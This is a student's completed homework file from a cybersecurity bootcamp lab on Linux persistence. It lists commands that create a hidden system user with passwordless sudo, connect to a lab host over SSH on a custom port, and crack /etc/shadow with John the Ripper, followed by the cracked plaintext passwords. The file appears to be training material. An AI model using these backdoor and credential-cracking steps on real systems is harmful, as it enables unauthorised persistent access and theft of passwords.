## **Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:  
   * Your solution command here - **useradd -rMo -u 600 sysd**
2. Give your secret user a password:  
   * Your solution command here **- passwd sysd**
3. Give your secret user a system UID < 1000:  
   * Your solution command here **- usermod -u 600 sysd**
4. Give your secret user the same GID:  
   * Your solution command here **- groupmod -g 600 sysd**



1. Give your secret user full sudo access without the need for a password:  
   * Your solution command here **- visudo**

**sysd ALL=(ALL:ALL) NOPASSWD:ALL**

1. Test that sudo access works without your password:  
     
    Your bash commands here **- cat /etc/sudoers | grep -i sysd | awk '{ print $3 }'**  
   

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
    Your bash commands here **- sudo nano /etc/ssh/sshd\_config**

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:  
   * Your solution command here **- systemctl restart ssh.service**
2. Exit the root account:  
   * Your solution command here **- exit**
3. SSH to the target machine using your sysd account and port 2222:  
   * Your solution command here - **ssh sysd@192.168.6.105 -p 2222**
4. Use sudo to switch to the root user:  
   e
   * Your solution command here **sudo su**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:  
   * Your solution command here **- ssh sysd@192.168.6.105 -p 2222**
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
    **unshadow /etc/passwd /etc/shadow > passwords.txt**
   * Your solution command here **- john passwords.txt**

**Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**

**Press 'q' or Ctrl-C to abort, almost any other key for status**

**computer (stallman)**

**freedom (babbage)**

**trustno1 (mitnik)**

**dragon (lovelace)**

**lakers (turing)**

**passw0rd (sysadmin)**

**Goodluck! (student)**

**p4ssw0rd (sysd)**

© 2020 Trilogy Education Services, a cd2U, Inc. brand. All Rights Reserved.